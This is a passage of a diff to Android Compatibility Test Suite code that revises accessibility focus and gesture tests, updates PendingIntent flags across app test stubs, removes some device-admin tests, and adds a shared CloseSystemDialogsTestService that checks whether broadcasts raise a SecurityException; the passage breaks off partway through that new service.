+ ACTION_CLEAR_ACCESSIBILITY_FOCUS)),
+ filterForEventTypeWithAction(TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED,
+ ACTION_CLEAR_ACCESSIBILITY_FOCUS),
+ DEFAULT_TIMEOUT_MS);
+
+ return screenshot;
+ }
+
+ private boolean isBitmapDifferent(Bitmap bitmap1, Bitmap bitmap2) {
+ final Display display = mActivity.getWindowManager().getDefaultDisplay();
+ final Point displaySize = new Point();
+ display.getRealSize(displaySize);
+
+ final int[] pixelsOne = new int[displaySize.x * displaySize.y];
+ final Bitmap bitmapOne = bitmap1.copy(Bitmap.Config.ARGB_8888, false);
+ bitmapOne.getPixels(pixelsOne, 0, displaySize.x, 0, 0, displaySize.x,
+ displaySize.y);
+
+ final int[] pixelsTwo = new int[displaySize.x * displaySize.y];
+ final Bitmap bitmapTwo = bitmap2.copy(Bitmap.Config.ARGB_8888, false);
+ bitmapTwo.getPixels(pixelsTwo, 0, displaySize.x, 0, 0, displaySize.x,
+ displaySize.y);
+
+ for (int i = pixelsOne.length - 1; i > 0; i--) {
+ if ((Color.red(pixelsOne[i]) != Color.red(pixelsTwo[i]))
+ || (Color.green(pixelsOne[i]) != Color.green(pixelsTwo[i]))
+ || (Color.blue(pixelsOne[i]) != Color.blue(pixelsTwo[i]))) {
+ return true;
+ }
+ }
+
+ saveFailureScreenshot(bitmap1, bitmap2);
+ return false;
+ }
+
+ private void saveFailureScreenshot(Bitmap bitmap1, Bitmap bitmap2) {
+ final String directoryName = Environment.getExternalStorageDirectory()
+ + "/" + getClass().getSimpleName();
+
+ final String fileName1 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap1",
+ SystemClock.uptimeMillis());
+ BitmapUtils.saveBitmap(bitmap1, directoryName, fileName1);
+
+ final String fileName2 = String.format("%s_%s_%s.png", mTestName.getMethodName(), "Bitmap2",
+ SystemClock.uptimeMillis());
+ BitmapUtils.saveBitmap(bitmap2, directoryName, fileName2);
+ }
+
+ private void setFocusAppearanceDataAndCheckItCorrect(StubFocusIndicatorService service,
+ int focusStrokeWidthValue, int focusColorValue) {
+ service.setAccessibilityFocusAppearance(focusStrokeWidthValue,
+ focusColorValue);
+ // Checks if the color and the stroke values from AccessibilityManager is
+ // updated as in expectation.
+ PollingCheck.waitFor(()->isFocusAppearanceDataUpdated(sAccessibilityManager,
+ focusStrokeWidthValue, focusColorValue));
+ }
+
private static boolean isFocusAppearanceDataUpdated(AccessibilityManager manager,
int strokeWidth, int color) {
return manager.getAccessibilityFocusStrokeWidth() == strokeWidth
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 488bf13..250da70 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -379,7 +379,6 @@
// Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
// because accessibility services read gesture events upstream from the point where
// sendPointerSync() injects events.
- mService.clearGestures();
mService.runOnServiceSync(() ->
mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
verify(mGestureDispatchCallback, timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
index f53f126..e1bf31f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySystemActionTest.java
@@ -208,7 +208,7 @@
private RemoteAction getRemoteAction(String pendingIntent) {
Intent i = new Intent(pendingIntent);
- PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, 0);
+ PendingIntent p = PendingIntent.getBroadcast(mContext, 0, i, PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new RemoteAction(Icon.createWithContentUri("content://test"), "test1", "test1", p);
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
index fa8147a..5f6689c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
@@ -28,7 +28,7 @@
/** Accessibility service stub, which will collect recognized gestures. */
public class GestureDetectionStubAccessibilityService extends InstrumentedAccessibilityService {
private static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
- private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
+ protected static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
// Member variables
protected final Object mLock = new Object();
private ArrayList<Integer> mCollectedGestures = new ArrayList();
@@ -154,18 +154,45 @@
public void assertGestureReceived(int gestureId, int displayId) {
// Wait for gesture recognizer, and check recognized gesture.
waitUntilGestureInfo();
- if(displayId == Display.DEFAULT_DISPLAY) {
- assertEquals(1, getGesturesSize());
- assertEquals(gestureId, getGesture(0));
+ if (displayId == Display.DEFAULT_DISPLAY) {
+ String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+ if (getGesturesSize() == 0) {
+ fail("No gesture received when expecting " + expected);
+ } else if (getGesturesSize() > 1) {
+ List<String> received = new ArrayList<>();
+ for (int i = 0; i < getGesturesSize(); ++i) {
+ received.add(AccessibilityGestureEvent.gestureIdToString(getGesture(i)));
+ }
+ fail("Expected " + expected + " but received " + received);
+ } else {
+ String received = AccessibilityGestureEvent.gestureIdToString(getGesture(0));
+ assertEquals(expected, received);
+ }
}
- assertEquals(1, getGestureInfoSize());
+ String expected = AccessibilityGestureEvent.gestureIdToString(gestureId);
+ if (getGestureInfoSize() == 0) {
+ fail("No gesture received when expecting " + expected);
+ } else if (getGestureInfoSize() > 1) {
+ List<String> received = new ArrayList<>();
+ for (int i = 0; i < getGesturesSize(); ++i) {
+ received.add(
+ AccessibilityGestureEvent.gestureIdToString(
+ getGestureInfo(i).getGestureId()));
+ }
+ fail("Expected " + expected + " but received " + received);
+ }
AccessibilityGestureEvent expectedGestureEvent =
new AccessibilityGestureEvent(gestureId, displayId);
AccessibilityGestureEvent actualGestureEvent = getGestureInfo(0);
if (!expectedGestureEvent.toString().equals(actualGestureEvent.toString())) {
- fail("Unexpected gesture received, "
- + "Received " + actualGestureEvent + ", Expected " + expectedGestureEvent);
+ fail(
+ "Unexpected gesture received, "
+ + "Received "
+ + actualGestureEvent
+ + ", Expected "
+ + expectedGestureEvent);
}
+ clearGestures();
}
/** Insure that the specified accessibility events have been received. */
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
new file mode 100644
index 0000000..ae903cb
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFocusIndicatorService.java
@@ -0,0 +1,23 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+
+/**
+ * A stub accessibility service to install for testing focus indicator APIs
+ */
+public class StubFocusIndicatorService extends InstrumentedAccessibilityService {
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
index 61a1cea..826e53f 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
@@ -21,19 +21,25 @@
import android.view.accessibility.AccessibilityEvent;
+import com.android.compatibility.common.util.TestUtils;
+
/**
* This accessibility service stub collects all events relating to touch exploration rather than
* just the few collected by GestureDetectionStubAccessibilityService
*/
public class TouchExplorationStubAccessibilityService
extends GestureDetectionStubAccessibilityService {
+
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
synchronized (mLock) {
switch (event.getEventType()) {
+ case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
+ mCollectedEvents.add(event.getEventType());
+ mLock.notifyAll();
+ break;
case TYPE_GESTURE_DETECTION_START:
case TYPE_GESTURE_DETECTION_END:
- case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
case TYPE_VIEW_CLICKED:
case TYPE_VIEW_LONG_CLICKED:
mCollectedEvents.add(event.getEventType());
@@ -41,4 +47,10 @@
}
super.onAccessibilityEvent(event);
}
+
+ /** Wait for accessibility focus from onAccessibilityEvent(). */
+ public void waitForAccessibilityFocus() {
+ TestUtils.waitOn(mLock, () -> mCollectedEvents.contains(TYPE_VIEW_ACCESSIBILITY_FOCUSED),
+ EVENT_RECOGNIZE_TIMEOUT_MS, "waitForAccessibilityFocus");
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 75ea8fd..6580317 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -98,7 +98,6 @@
private static final float GESTURE_LENGTH_MMS = 10.0f;
private TouchExplorationStubAccessibilityService mService;
private Instrumentation mInstrumentation;
- private UiAutomation mUiAutomation;
private boolean mHasTouchscreen;
private boolean mScreenBigEnough;
private long mSwipeTimeMillis;
@@ -130,9 +129,6 @@
@Before
public void setUp() throws Exception {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
- mUiAutomation =
- mInstrumentation.getUiAutomation(
- UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
PackageManager pm = mInstrumentation.getContext().getPackageManager();
mHasTouchscreen =
pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
@@ -140,6 +136,9 @@
// Find window size, check that it is big enough for gestures.
// Gestures will start in the center of the window, so we need enough horiz/vert space.
mService = mServiceRule.enableService();
+ // To prevent a deadlock, we disable UiAutomation while another a11y service is running.
+ mInstrumentation.getUiAutomation(
+ UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES).destroy();
mView = mActivityRule.getActivity().findViewById(R.id.full_screen_text_view);
WindowManager windowManager =
(WindowManager)
@@ -592,11 +591,11 @@
private void syncAccessibilityFocusToInputFocus() {
mService.runOnServiceSync(
() -> {
- mUiAutomation
- .getRootInActiveWindow()
- .findFocus(AccessibilityNodeInfo.FOCUS_INPUT)
- .performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+ AccessibilityNodeInfo focus = mService.findFocus(AccessibilityNodeInfo.FOCUS_INPUT);
+ focus.performAction(AccessibilityNodeInfo.ACTION_ACCESSIBILITY_FOCUS);
+ focus.recycle();
});
+ mService.waitForAccessibilityFocus();
}
private void setRightSideOfActivityWindowGestureDetectionPassthrough() {
diff --git a/tests/admin/AdminWorkProfileTest.xml b/tests/admin/AdminWorkProfileTest.xml
deleted file mode 100644
index af93ea1..0000000
--- a/tests/admin/AdminWorkProfileTest.xml
+++ /dev/null
@@ -1,40 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2020 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<configuration description="Config for CTS Device Admin test cases on a work profile">
- <option name="test-suite-tag" value="cts" />
- <option name="config-descriptor:metadata" key="component" value="framework" />
- <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
- here are not applicable -->
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
- <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="install-arg" value="-t" />
- <option name="test-file-name" value="CtsAdminApp.apk" />
- <option name="test-file-name" value="CtsAdminTestCases.apk" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.RunOnWorkProfileTargetPreparer">
- <option name="test-package-name" value="android.admin.cts" />
- <option name="test-package-name" value="android.admin.app" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.admin.cts" />
- <option name="include-annotation" value="com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile" />
- <!-- <option name="instrumentation-arg" key="skip-test-teardown" value="true" />-->
- </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 169cd71..b7197a4 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -32,9 +32,6 @@
"cts",
"general-tests",
],
- test_options: {
- extra_test_configs: ["AdminWorkProfileTest.xml"]
- },
instrumentation_for: "CtsAdminApp",
sdk_version: "test_current",
}
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java b/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java
deleted file mode 100644
index 9fd923e..0000000
--- a/tests/admin/src/android/admin/cts/DeviceAdminTempTest.java
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.admin.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.content.Context;
-
-import androidx.test.core.app.ApplicationProvider;
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-
-import com.android.compatibility.common.util.enterprise.DeviceState;
-import com.android.compatibility.common.util.enterprise.annotations.RequireRunOnWorkProfile;
-
-import org.junit.ClassRule;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.os.UserManager;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceAdminTempTest {
-
- private static final Context sContext = ApplicationProvider.getApplicationContext();
-
- @ClassRule @Rule
- public static final DeviceState sDeviceState = new DeviceState();
-
- @RequireRunOnWorkProfile
- @Test
- public void testRunningOnWorkProfile() {
- assertThat(sContext.getSystemService(UserManager.class).isManagedProfile()).isTrue();
- }
-}
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 5cab76e..d1085c7 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -1157,12 +1157,4 @@
} catch(SecurityException e) {
}
}
-
- public void testHasKeyPair_failIfNotOwner() {
- if (!mDeviceAdmin) {
- Log.w(TAG, "Skipping testHasKeyPair_failIfNotOwner(), no device_admin feature");
- return;
- }
- assertThrows(SecurityException.class, () -> mDevicePolicyManager.hasKeyPair("some-alias"));
- }
}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 451f8ca..25cc5ae 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -31,10 +31,12 @@
"androidx.test.rules",
"platform-test-annotations",
"platformprotosnano",
- "permission-test-util-lib"
+ "permission-test-util-lib",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
"NotificationListener/src/com/android/test/notificationlistener/INotificationUriAccessService.aidl",
],
// Tag this module as a cts test artifact
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 240607e..3e1eb6a 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -27,6 +27,7 @@
<uses-permission android:name="android.permission.ACCESS_NOTIFICATIONS" />
<uses-permission android:name="android.permission.READ_PROJECTION_STATE" />
<uses-permission android:name="android.permission.TOGGLE_AUTOMOTIVE_PROJECTION" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
diff --git a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
index 1149e5e..ded29be 100644
--- a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
+++ b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
@@ -114,7 +114,7 @@
registerReceiver(mReceiver, new IntentFilter(mReceiverAction));
Intent intent = new Intent(mReceiverAction);
postNotification(notificationId,
- PendingIntent.getBroadcast(context, 0, intent, 0));
+ PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
}
case MESSAGE_SERVICE_NOTIFICATION: {
@@ -123,7 +123,7 @@
// trampoline) in this case.
Intent intent = new Intent(context, NotificationTrampolineTestService.class);
postNotification(notificationId,
- PendingIntent.getService(context, 0, intent, 0));
+ PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
}
default:
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 19e3fcc..c1fcf7f 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -29,9 +29,12 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "testng",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
+ "src/**/*.kt",
"src/android/app/stubs/ISecondary.aidl",
],
// Tag this module as a cts test artifact
@@ -59,6 +62,7 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
@@ -92,6 +96,7 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
@@ -125,6 +130,7 @@
"mockito-target-minus-junit4",
"androidx.legacy_legacy-support-v4",
"androidx.test.core",
+ "CtsAppTestStubsShared",
],
srcs: [
"src/**/*.java",
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 521d6b9..e8fd2c4 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -277,6 +277,9 @@
</intent-filter>
</activity>
+ <activity android:name="android.app.stubs.NotificationHostActivity"
+ android:label="NotificationHostActivity"/>
+
<activity android:name="android.app.stubs.MockTabActivity"
android:label="MockTabActivity"/>
@@ -492,6 +495,9 @@
android:exported="true"
android:isolatedProcess="true">
</service>
+
+ <service android:name=".CloseSystemDialogsTestService"
+ android:exported="true" />
</application>
</manifest>
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index d675a52..a3bf4f7 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -59,7 +59,7 @@
private Notification getNotificationForTest(int testCase, Context context) {
final Intent intent = new Intent(context, SendBubbleActivity.class);
final PendingIntent pendingIntent =
- PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
+ PendingIntent.getActivity(getApplicationContext(), 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
Person person = new Person.Builder()
.setName("bubblebot")
.build();
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 9d110f0..b34eece 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -246,7 +246,7 @@
int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
intent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
final PendingIntent pendingIntent = PendingIntent.getForegroundService(context, 0,
- intent, 0);
+ intent, PendingIntent.FLAG_IMMUTABLE);
sPendingIntent.put(targetPackage, pendingIntent);
}
diff --git a/tests/app/app/src/android/app/stubs/NotificationHostActivity.kt b/tests/app/app/src/android/app/stubs/NotificationHostActivity.kt
new file mode 100644
index 0000000..2a2a4b3
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/NotificationHostActivity.kt
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs
+
+import android.R
+import android.app.Activity
+import android.os.Bundle
+import android.view.View
+import android.widget.FrameLayout
+import android.widget.FrameLayout.LayoutParams
+import android.widget.RemoteViews
+
+class NotificationHostActivity : Activity() {
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ val views = (intent.getParcelableExtra(EXTRA_REMOTE_VIEWS) as RemoteViews?)!!
+ val height = intent.getIntExtra(EXTRA_HEIGHT, LayoutParams.WRAP_CONTENT)
+ setContentView(FrameLayout(this).also {
+ val child = views.apply(this, it)
+ it.id = R.id.content
+ it.addView(child, LayoutParams(LayoutParams.MATCH_PARENT, height))
+ })
+ }
+
+ val notificationRoot: View
+ get() = requireViewById<FrameLayout>(R.id.content).getChildAt(0)
+
+ companion object {
+ const val EXTRA_REMOTE_VIEWS = "remote_views"
+ const val EXTRA_HEIGHT = "height"
+ }
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
index 1cbd70f..e02382b 100644
--- a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -61,7 +61,7 @@
public void sendInvalidBubble(boolean autoExpand) {
Context context = getApplicationContext();
- PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
+ PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
.setSmallIcon(R.drawable.black)
.setWhen(System.currentTimeMillis())
@@ -109,7 +109,7 @@
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setAction(Intent.ACTION_MAIN);
final PendingIntent pendingIntent =
- PendingIntent.getActivity(context, 0, intent, 0);
+ PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
return new Notification.BubbleMetadata.Builder(pendingIntent,
Icon.createWithResource(context, R.drawable.black))
diff --git a/tests/app/shared/Android.bp b/tests/app/shared/Android.bp
new file mode 100644
index 0000000..6b230b2
--- /dev/null
+++ b/tests/app/shared/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_library {
+ name: "CtsAppTestStubsShared",
+ defaults: ["cts_support_defaults"],
+ srcs: [
+ "src/**/*.java",
+ "src/**/*.aidl",
+ ],
+ platform_apis: true,
+ min_sdk_version: "14",
+}
diff --git a/tests/app/shared/AndroidManifest.xml b/tests/app/shared/AndroidManifest.xml
new file mode 100644
index 0000000..0f5bff4
--- /dev/null
+++ b/tests/app/shared/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.stubs.shared">
+ <application>
+ <service
+ android:name="android.app.stubs.shared.CloseSystemDialogsTestService"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/app/shared/README.md b/tests/app/shared/README.md
new file mode 100644
index 0000000..26bfe61
--- /dev/null
+++ b/tests/app/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test (CtsAppTestCases) and the apps (CtsAppTestStubs,
+CtsAppTestStubsAppN)
diff --git a/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
new file mode 100644
index 0000000..499025f
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import static android.app.PendingIntent.FLAG_IMMUTABLE;
+
+import android.app.IActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ResultReceiver;
+import android.os.ServiceManager;
+import android.view.IWindowManager;
+
+/**
+ * This is a bound service used in conjunction with CloseSystemDialogsTest.
+ */
+public class CloseSystemDialogsTestService extends Service {
+ private static final String TAG = "CloseSystemDialogsTestService";
+ private static final String NOTIFICATION_ACTION = TAG;
+ private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+
+ private final ICloseSystemDialogsTestsService mBinder = new Binder();
+ private NotificationManager mNotificationManager;
+ private IWindowManager mWindowManager;
+ private IActivityManager mActivityManager;
+ private BroadcastReceiver mNotificationReceiver;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mNotificationManager = getSystemService(NotificationManager.class);
+ mWindowManager = IWindowManager.Stub.asInterface(
+ ServiceManager.getService(Context.WINDOW_SERVICE));
+ mActivityManager = IActivityManager.Stub.asInterface(
+ ServiceManager.getService(Context.ACTIVITY_SERVICE));
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return mBinder.asBinder();
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ if (mNotificationReceiver != null) {
+ unregisterReceiver(mNotificationReceiver);
+ }
+ }
+
+ private class Binder extends ICloseSystemDialogsTestsService.Stub {
+ private final Context mContext = CloseSystemDialogsTestService.this;
+
+ @Override
+ public void sendCloseSystemDialogsBroadcast() {
+ mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+ }
+
+ @Override
+ public void postNotification(int notificationId, ResultReceiver receiver) {
+ mNotificationReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ try {
+ mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+ receiver.send(RESULT_OK, null);
+ } catch (SecurityException e) {
+ receiver.send(RESULT_SECURITY_EXCEPTION, null);
